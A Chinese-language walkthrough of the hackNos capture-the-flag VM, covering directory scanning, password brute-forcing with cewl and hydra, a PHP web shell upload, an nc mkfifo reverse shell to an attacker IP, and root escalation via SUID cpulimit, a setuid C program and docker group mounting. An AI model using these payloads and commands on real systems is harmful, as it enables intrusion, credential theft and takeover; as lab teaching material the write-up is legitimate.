配置
進入控制面板配置網卡
第一步:啟動靶機時按下 shift 鍵,
- 進入以下界面
第二步:選擇第二個選項,然后按下 e 鍵,進入編輯界面
將這里的ro修改為rw single init=/bin/bash,然后按ctrl+x,進入一個相當于控制臺的界面,里面可以執行命令
ip a 查看一下實際用的網卡,這里是ens33
這里和直接的不同
20.04的ubuntu已經不用/etc/network/interfaces來設置網絡了,變成在/etc/netplan下的文件來配置了
教程:Ubuntu Server 20.04 網卡啟動及配置(配置前請注意文件備份)_鄒霍梁@數字化企業的博客-CSDN博客
打開配置文件
sudo vim /etc/netplan/00-installer-config.yaml
1
按下i進入編輯模式,修改網卡為DHCP
network: version: 2 ethernets:eth0: # 這個以實際網卡為準dhcp4: true
12345
修改為靜態ip:
network:version: 2ethernets:eth0: # 這個以實際網卡為準dhcp4: noaddresses: [192.168.1.2/24]optional: truegateway4: 192.168.1.1nameservers:addresses: [218.2.135.1,8.8.8.8]
12345678910
注意yaml對縮進和空格要求嚴格
應用更改
sudo netplan apply
一、信息收集
獲取ip
目錄掃描
gobuster dir -u http://192.168.16.200/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
掃描出三個目錄
二級目錄掃描
gobuster dir -u http://192.168.16.200/websec -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
登錄發現有一個郵箱,保存下來
http://192.168.16.200/websec/index
在http://192.168.16.200/websec/login發現登錄后臺頁面,需要使用郵箱
二、密碼爆破
1.bp爆破密碼
該后臺登錄頁面對登錄請求的IP進行了限制
去掉Cookie頭部字段后可以正常爆破
使用burpsuitr,抓包,默認的字典是沒辦法跑出來的
字典獲取-工具cewl
Cewl是一款采用Ruby開發的應用程序,你可以給它的爬蟲指定URL地址和爬取深度,還可以添額外的外部鏈接,接下來Cewl會給你返回一個字典文件。
工具源地址:【傳送門】
使用cewl爬取網站信息然后生成目標網站字典文件
cewl http://192.168.16.200/websec/ > cewl.txt
導入字典重新爆破
根據收集的網站信息,郵箱contact@hacknos.com
,使用字典cewl.txt
進行爆破
成功爆破出密碼 Securityx
進入管理后臺了
2.hydra爆破
這里還可以使用hrdra進行爆破
hardra教程參考:
無驗證碼]Web頁面_hydra爆破web_Yuri800的博客-CSDN博客
爆破語法:
hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
參數解釋:
# -l 用戶名
# -P 密碼字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In" username=^USER^&password=^PASS^,把在network中看到的POST提交的內容只是把用戶名和密碼部分換成了^USER^和^PASS^。USER對應前面的-l 后跟的用戶名root,PASS會被字典中的密碼逐個替換。:Log In表示成功
POST的內容就是一個簡單的鍵值對的形式(username=用戶名&password=密碼)
爆破結果:
[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx
三、后門上傳
進入后臺后,發現文件上傳點
新建php文件,插入上傳一句話木馬文件
<?php system($_REQUEST['cmd']);?>
可以看到后門文件上傳后的路徑
訪問后門文件:
被禁止訪問
返回查看htaccess配置文件
可以看到里面代碼對所有 .php
文件執行“拒絕訪問”的操作。
刪除重新訪問
訪問中刪除admin后成功
http://192.168.16.200/websec/tmp/houmen.php?cmd=id
四、nc反彈
抓取 后門后的數據包,修改請求為post請求
kaili開啟nc監聽
反彈使用:
linux反彈備忘錄 | (moonsec.com)
常用的一句話反彈shell總結_php一句話反彈shell_橘子女俠的博客-CSDN博客
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f
編譯后執行
切換到bash
python -c 'import pty;pty.spawn("/bin/bash")'
五、第一個flag
查看網站存放的目錄
www-data@hacknos:/var/www/html$ ls
ls
bg.jpg devil index.html scripts upload.php websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile assets config.php log sites tmp
LICENSE composer.json index.php robots.txt src
app.yaml config.default.php lib shell.php themes
查看config.php文件內容
存放有數據庫賬號和密碼,可以留著后面使用
查看賬號保存位置
cat /etc/passwd
看到有個blackdevil用戶,查看旗下的user.txt
拿到第一個flag
六、cpulimit提權
掃描suid文件
find / -perm -u=s 2>/dev/null
查找到SUID權限的命令:cpulimit
在Ubuntu中使用cpulimit限制進程的使用率_ubuntu 離線安裝 cpulimit__Slience_的博客-CSDN博客
用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制進程號1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制絕對路徑下該軟件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止當前限制Ctrl + C
查找用戶所創建的文件
find / -user 1000 2>/dev/null
查看當前用戶可以使用的管理員命令
sudo -l
使用cpulimit提權
1.kali編寫c代碼
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0); #該函數用于設置實際用戶ID,將其設置為0,即root用戶的UID。這將把進程的權限提升為超級用戶。setgid(0);#類似于 setuid,此函數設置實際組ID,將其設置為0,即root組的GID。system("/bin/bash");# system 函數用于在新的進程中執行一個 shell 命令。在這里,它執行了 /bin/bash,啟動了一個交互式的 Bash Shell,因為Bash Shell位于 /bin/bash。return 0;#返回0表示執行成功#
}
2.編譯代碼
gcc a.c -o tiquanchmod 777 tiquan
3.上傳到靶場
使用base64加密編譯好的文件
base64 tiquan
復制在靶場處新建文件
使用: stty cooked echo
或者pyton上傳
python -m http.server 8888
wget http://192.168.16.180:8888/tiquan
4.使用cpulimit執行
方法一、命令提權
cpulimit -l 100 -f -- /bin/sh -p因為這里的cpulimit是可以執行suid權限
這個命令的目的是以限制的CPU使用率(在這里是100%)運行一個交互式Shell也為suid權限
直接提權成功
方法二、腳本提權
使用剛剛編譯好的c語言提權代碼
執行
chmod +x tiquancpulimit -l 100 -f ./tiquan
七、docker提權
使用docker提權要先登錄
查看目錄
cat /var/local/database
在線解密:
spreadsheet mimic - encode (spammimic.com)
全部復制
解密得到密碼:Security@x@
用戶登錄:blackdevil 密碼 : Security@x@
并且看到屬于docker組
下載docker鏡像文件,啟動容器并掛載宿主機的根目錄
docker run -it -v /:/mnt alpine /bin/sh# alpine鏡像非常小非常適合用于提權
# 由于已經將宿主機根目錄掛載到了容器的/mnt/目錄下,因此在容器內,/mnt/目錄是一個完整的根目錄,可以使用chroot獲取到這個根目錄的完整root權限
chroot /mnt